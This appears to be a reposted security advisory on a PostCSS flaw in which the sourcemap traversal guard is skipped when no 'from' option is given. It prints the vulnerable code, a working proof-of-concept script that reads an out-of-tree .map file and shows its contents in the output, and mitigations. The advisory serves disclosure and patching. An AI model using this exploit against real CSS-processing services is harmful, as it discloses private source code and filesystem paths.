Listen to this Post
How CVE-2026-69153 Works
The fix for the earlier GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` PreviousMap.loadFile() that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check.
`PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/ sourceMappingURL=/abs/path/x.map /` (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix):
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
}
Proof of concept (verified on postcss 8.5.22):
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/ sourceMappingURL=' + secret + ' /'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false guard rejects the absolute path
`../` traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, .map) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, `consumer()` uses this.json || this.text), so this is a residual of that fix.
DailyCVE Form:
Platform: ……. Node.js / PostCSS
Version: …….. 8.5.19 – 8.5.22
Vulnerability :…… Path Traversal / Information Disclosure
Severity: ……. Moderate (CVSS 6.3)
date: ………. 2026-08-03
Prediction: 2026-08-10
What Undercode Say:
Check your PostCSS version npm list postcss Check if you are vulnerable (8.5.19 through 8.5.22) npm list postcss | grep -E "8.5.(19|20|21|22)"
// Minimal reproduction to test if you are vulnerable
const postcss = require('postcss');
const fs = require('fs');
// Create a test .map file
fs.writeFileSync('/tmp/test.map', JSON.stringify({
version: 3,
sources: ['/etc/passwd'],
sourcesContent: ['secret_content'],
mappings: '',
names: []
}));
const css = '/ sourceMappingURL=/tmp/test.map /';
postcss([]).process(css, { map: true }).then(result => {
const leaked = JSON.stringify(result.map.toJSON()).includes('secret_content');
console.log('Vulnerable:', leaked); // true if vulnerable
});
Exploit:
An attacker can submit CSS containing a `/ sourceMappingURL=… /` comment with an absolute path (e.g., /etc/passwd.map) or a relative path using `../` traversal. When PostCSS processes this CSS without the `from` option, the guard is bypassed and `readFileSync` reads the targeted `.map` file. If the file is valid JSON, its `sources` and `sourcesContent` are embedded into the generated source map and returned to the caller.
Protection:
- Upgrade to PostCSS `8.5.23` or later once available.
- Pass the `from` option explicitly: `postcss([]).process(css, { from: ‘/path/to/input.css’ })` — this activates the traversal guard.
- Disable source map auto-loading by passing
map: false:postcss([]).process(css, { map: false }). - Sanitize user-supplied CSS by removing or neutralizing `/ sourceMappingURL=… /` comments before processing.
Impact:
Arbitrary .map-file read (absolute path or `../` traversal) and disclosure of the target map’s `sources` (local filesystem paths) and `sourcesContent` (source code) into the generated source map. This affects any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` — online CSS playgrounds, minify/lint services, string-input build steps. Bounded to files ending in `.map` that parse as JSON. No authentication or user interaction beyond submitting CSS text is required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

